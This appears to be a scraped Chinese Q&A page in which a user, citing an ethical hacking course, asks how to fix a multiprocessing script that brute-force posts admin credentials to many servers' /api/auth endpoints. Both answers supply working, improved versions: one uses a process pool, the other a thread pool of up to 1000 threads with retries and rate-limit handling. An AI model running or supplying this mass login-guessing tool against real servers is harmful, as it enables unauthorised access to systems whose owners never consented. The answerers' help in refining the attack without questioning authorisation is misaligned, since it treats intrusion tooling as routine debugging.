停止多处理遍历整个列表以获取 bruteforcer 的功能
Posted
技术标签:
【中文标题】停止多处理遍历整个列表以获取 bruteforcer 的功能【英文标题】:Stop multiprocessing from going through entire list for function for bruteforcer 【发布时间】:2022-01-15 15:30:57 【问题描述】:我正在尝试使用多处理为我的道德黑客课程制作一个蛮力,我希望它遍历服务器 IP 列表并为每个 IP 尝试一次登录,但它在尝试制作之前打印每个 IP连接,然后在打印完所有 IP 后,它将开始尝试建立连接,然后打印几个 IP,然后尝试建立另一个连接,依此类推。
我只是希望它遍历 IP 列表并尝试连接到每一个,每个连接一个进程,一次尝试大约 20 个进程
import threading, requests, time, os, multiprocessing
global count2
login_list=["username":"admin","password":"Password1"]
with open('Servers.txt') as f:
lines = [line.rstrip() for line in f]
count=[]
for number in range(len(lines)):
count.append(number)
count2 = count
def login(n):
try:
url = 'http://'+lines[n]+'/api/auth'
print(url)
if '/#!/init/admin' in url:
print('[~] Admin panel detected, saving url and moving to next...')
x = requests.post(url, json = login_list)
if x.status_code == 422:
print('[-] Failed to connect, trying again...')
print(n)
if x.status_code == 403:
print('[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying again in 20 seconds')
time.sleep(20)
print(n)
if x.status_code == 200:
print('\n[~] Connection successful! Login to '+url+' saved.\n')
print(n)
except:
print('[#] No more logins to try for '+url+' moving to next server...')
print('--------------')
if __name__ == "__main__":
# creating a pool object
p = multiprocessing.Pool()
# map list to target function
result = p.map(login, count2)
Server.txt 文件示例:
83.88.223.86:9000
75.37.144.153:9000
138.244.6.184:9000
34.228.116.82:9000
125.209.107.178:9000
33.9.12.53:9000
这些不是真实的 IP 地址
【问题讨论】:
你完全隐藏了你的无条件和静态except
块的任何可能的异常。
【参考方案1】:
我认为您对子流程映射函数如何将值传递给相关流程感到困惑。也许这会让事情变得更清楚:
from multiprocessing import Pool
import requests
import sys
from requests.exceptions import HTTPError, ConnectionError
IPLIST = ['83.88.223.86:9000',
'75.37.144.153:9000',
'138.244.6.184:9000',
'34.228.116.82:9000',
'125.209.107.178:9000',
'33.9.12.53:9000',
'www.google.com']
PARAMS = 'username': 'admin', 'password': 'passw0rd'
def err(msg):
print(msg, file=sys.stderr)
def process(ip):
with requests.Session() as session:
url = f'http://ip/api/auth'
try:
(r := session.post(url, json=PARAMS, timeout=1)).raise_for_status()
except ConnectionError:
err(f'Unable to connect to url')
except HTTPError:
err(f'HTTP r.status_code for url')
except Exception as e:
err(f'Unexpected exception e')
def main():
with Pool() as pool:
pool.map(process, IPLIST)
if __name__ == '__main__':
main()
附加说明:您可能希望指定超时,否则由于默认重试,无法访问的地址将需要很长时间才能处理。查看异常处理。
【讨论】:
【参考方案2】:首先我要提到的是,这是一项最适合多线程的工作,因为login
主要是等待网络请求完成,而且创建线程比创建进程效率更高。实际上,您应该创建一个线程池,其大小等于您将发布的 URL 的数量,最多为 1000 个(并且您不希望创建该大小的多处理池)。
其次,当您进行多处理或多线程处理时,您的工作函数(在本例中为 login
)正在处理传递给 map
函数的 iterable 的单个元素。我想你明白了。但不是将服务器列表传递给map
,而是传递一个数字列表(它们是索引),然后login
使用该索引从lines
列表中获取信息。那是相当间接的。此外,您构建索引列表的方式可以通过一行来简化:count2 = list(range(len(lines)))
或实际上只是 count2 = range(len(lines))
(您不需要列表)。
第三,在您的代码中,您说您正在重试某些错误,但实际上没有这样做的逻辑。
import requests
from multiprocessing.pool import ThreadPool
from functools import partial
import time
# This must be a dict not a list:
login_params = "username": "admin", "password": "Password1"
with open('Servers.txt') as f:
servers = [line.rstrip() for line in f]
def login(session, server):
url = f'http://server/api/auth'
print(url)
if '/#!/init/admin' in url:
print(f'[~] Admin panel detected, saving url and moving to next...')
# To move on the next, you simply return
# because you are through with this URL:
return
try:
for retry_count in range(1, 4): # will retry up to 3 times certain errors:
r = session.post(url, json=login_params)
if retry_count == 3:
# This was the last try:
break
if r.status_code == 422:
print(f'[-] Failed to connect to url, trying again...')
elif r.status_code == 403:
print(f'[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying url again in 20 seconds')
time.sleep(20)
else:
break # not something we retry
r.raise_for_status() # test status code
except Exception as e:
print('Got exception: ', e)
else:
print(f'\n[~] Connection successful! Login to url saved.\n')
if __name__ == "__main__":
# creating a pool object
with ThreadPool(min(len(servers), 1000)) as pool, \
requests.Session() as session:
# map will return list of None since `login` returns None implicitly:
pool.map(partial(login, session), servers)
【讨论】:
以上是关于停止多处理遍历整个列表以获取 bruteforcer 的功能的主要内容,如果未能解决你的问题,请参考以下文章